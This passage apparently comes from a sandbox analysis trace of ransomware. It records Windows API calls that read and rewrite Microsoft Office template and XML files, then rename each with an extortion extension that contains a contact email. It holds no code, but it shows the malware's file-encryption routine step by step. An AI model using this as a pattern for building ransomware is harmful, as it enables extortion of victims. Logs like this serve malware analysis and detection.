Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0187.137] CloseHandle (hObject=0x5ec) returned 1 [0187.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0187.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fcc, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="linesstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LINESS~1.FIR")) returned 0x6d5280 [0187.139] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0187.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0187.140] GetProcessHeap () returned 0x630000 [0187.140] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2fe1) returned 0x7328408 [0187.140] GetProcessHeap () returned 0x630000 [0187.140] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2fe1) returned 0x732b3f8 [0187.140] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.140] ReadFile (in: hFile=0x5ec, lpBuffer=0x7328408, nNumberOfBytesToRead=0x2fc0, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7328408*, lpNumberOfBytesRead=0x3bbff0c*=0x2fc0, lpOverlapped=0x0) returned 1 [0189.122] GetProcessHeap () returned 0x630000 [0189.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0189.122] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.122] WriteFile (in: hFile=0x5ec, lpBuffer=0x732b3f8*, nNumberOfBytesToWrite=0x2fc0, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x732b3f8*, lpNumberOfBytesWritten=0x3bbff0c*=0x2fc0, lpOverlapped=0x0) returned 1 [0189.122] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.122] WriteFile (in: hFile=0x5ec, lpBuffer=0x732e3b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x732e3b7*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.123] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.123] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.123] CloseHandle (hObject=0x5ec) returned 1 [0189.123] GetProcessHeap () returned 0x630000 [0189.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x732b3f8 | out: hHeap=0x630000) returned 1 [0189.123] GetProcessHeap () returned 0x630000 [0189.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7328408 | out: hHeap=0x630000) returned 1 [0189.123] GetProcessHeap () returned 0x630000 [0189.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0189.123] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36acf821, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2ff0, dwReserved0=0xc947496, dwReserved1=0x7328400, cFileName="linesstylish.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LINESS~1.FIR")) returned 0x6d53c0 [0189.123] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0189.123] Sleep (dwMilliseconds=0x1) [0191.446] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml", len=0x52 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml") returned 1 [0191.446] GetProcessHeap () returned 0x630000 [0191.446] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45f8) returned 0x74656a8 [0191.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.visualelementsmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0191.447] CloseHandle (hObject=0x684) returned 1 [0191.447] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.visualelementsmanifest.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.448] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.449] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x239787c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="WINWORD.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~1.FIR")) returned 0x6d5280 [0191.449] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0191.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.visualelementsmanifest.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0191.449] GetProcessHeap () returned 0x630000 [0191.449] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x161) returned 0x71ec1d0 [0191.449] GetProcessHeap () returned 0x630000 [0191.449] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x161) returned 0x71ec348 [0191.449] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.449] ReadFile (in: hFile=0x684, lpBuffer=0x71ec1d0, nNumberOfBytesToRead=0x140, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ec1d0*, lpNumberOfBytesRead=0x3bbff0c*=0x140, lpOverlapped=0x0) returned 1 [0191.451] GetProcessHeap () returned 0x630000 [0191.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177948 [0191.451] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.451] WriteFile (in: hFile=0x684, lpBuffer=0x71ec348*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ec348*, lpNumberOfBytesWritten=0x3bbff0c*=0x140, lpOverlapped=0x0) returned 1 [0191.451] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.452] WriteFile (in: hFile=0x684, lpBuffer=0x71ec487*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ec487*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.452] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.452] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.452] CloseHandle (hObject=0x684) returned 1 [0191.452] GetProcessHeap () returned 0x630000 [0191.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71ec348 | out: hHeap=0x630000) returned 1 [0191.452] GetProcessHeap () returned 0x630000 [0191.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71ec1d0 | out: hHeap=0x630000) returned 1 [0191.452] GetProcessHeap () returned 0x630000 [0191.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177948 | out: hHeap=0x630000) returned 1 [0191.452] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.452] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3810354c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x3bbfd20, dwReserved1=0x71ec1d0, cFileName="WINWORD.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINWOR~1.FIR")) returned 0x6d4e00 [0191.452] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0191.452] Sleep (dwMilliseconds=0x1) [0192.743] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", len=0x4a | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx") returned 1 [0192.743] GetProcessHeap () returned 0x630000 [0192.743] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47f4) returned 0x7133a90 [0192.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0193.574] CloseHandle (hObject=0x714) returned 1 [0193.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7ad38b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4593e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ESSENT~1.FIR")) returned 0x6d4f80 [0197.054] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0197.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0197.055] GetProcessHeap () returned 0x630000 [0197.055] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1c300 [0197.055] GetProcessHeap () returned 0x630000 [0197.055] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f27730 [0197.056] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.056] ReadFile (in: hFile=0x714, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.106] GetProcessHeap () returned 0x630000 [0205.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0205.106] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.106] WriteFile (in: hFile=0x714, lpBuffer=0x6f27730*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f27730*, lpNumberOfBytesWritten=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.106] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.107] WriteFile (in: hFile=0x714, lpBuffer=0x6f32b2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f32b2f*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0205.108] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.108] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0205.108] CloseHandle (hObject=0x714) returned 1 [0205.109] GetProcessHeap () returned 0x630000 [0205.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f27730 | out: hHeap=0x630000) returned 1 [0205.109] GetProcessHeap () returned 0x630000 [0205.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0205.109] GetProcessHeap () returned 0x630000 [0205.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0205.109] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x40342f92, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x45962, dwReserved0=0xc947496, dwReserved1=0x6f1c2f8, cFileName="EssentialResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ESSENT~1.FIR")) returned 0x6d5200 [0205.109] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0205.109] Sleep (dwMilliseconds=0x1) [0205.120] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", len=0x6f | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 1 [0205.120] GetProcessHeap () returned 0x630000 [0205.120] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c04) returned 0x7133a90 [0205.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0205.122] CloseHandle (hObject=0x714) returned 1 [0205.122] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0205.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0205.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0xd1004392, dwReserved1=0x63005b, cFileName="TIME.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TIMEXM~1.FIR")) returned 0x6d5200 [0205.125] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0205.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0205.125] GetProcessHeap () returned 0x630000 [0205.125] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2181) returned 0x722c3c8 [0205.125] GetProcessHeap () returned 0x630000 [0205.125] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2181) returned 0x72aef50 [0205.125] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.125] ReadFile (in: hFile=0x714, lpBuffer=0x722c3c8, nNumberOfBytesToRead=0x2160, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x722c3c8*, lpNumberOfBytesRead=0x3bbff0c*=0x2160, lpOverlapped=0x0) returned 1 [0207.298] GetProcessHeap () returned 0x630000 [0207.298] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0207.298] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.298] WriteFile (in: hFile=0x714, lpBuffer=0x72aef50*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72aef50*, lpNumberOfBytesWritten=0x3bbff0c*=0x2160, lpOverlapped=0x0) returned 1 [0207.299] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.299] WriteFile (in: hFile=0x714, lpBuffer=0x72b10af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b10af*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0207.299] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.299] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0207.299] CloseHandle (hObject=0x714) returned 1 [0207.299] GetProcessHeap () returned 0x630000 [0207.299] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72aef50 | out: hHeap=0x630000) returned 1 [0207.299] GetProcessHeap () returned 0x630000 [0207.299] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722c3c8 | out: hHeap=0x630000) returned 1 [0207.300] GetProcessHeap () returned 0x630000 [0207.300] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0207.300] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.300] 